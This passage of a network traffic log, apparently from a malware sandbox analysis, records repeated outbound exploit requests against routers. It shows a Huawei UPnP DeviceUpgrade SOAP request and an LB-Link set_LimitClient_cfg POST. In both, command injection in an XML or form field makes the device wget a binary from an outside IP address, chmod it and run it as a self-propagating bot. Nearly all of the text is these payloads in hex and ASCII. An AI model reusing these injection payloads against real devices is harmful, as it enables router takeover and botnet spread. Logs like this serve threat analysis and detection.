xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 16:16:07.577603102 CET	823	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 466 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 16:16:15.001351118 CET	823	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 466 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 16:16:29.848788977 CET	823	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 466 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 16:17:00.823388100 CET	823	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 466 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 16:16:00.734180927 CET	229	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:16:00.962786913 CET	141	IN	HTTP/1.1 400 Content-Length missing Content-Type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 20 6d 69 73 73 69 6e 67 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><body>Content-Length missing</body></html>

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 16:16:00.837543964 CET	229	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:16:01.002965927 CET	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 01 Jan 2024 15:13:42 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 16:16:00.910798073 CET	229	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:16:01.320480108 CET	81	IN	HTTP/1.1 400 Bad Request Connection: close Server: Jetty(6.1.x)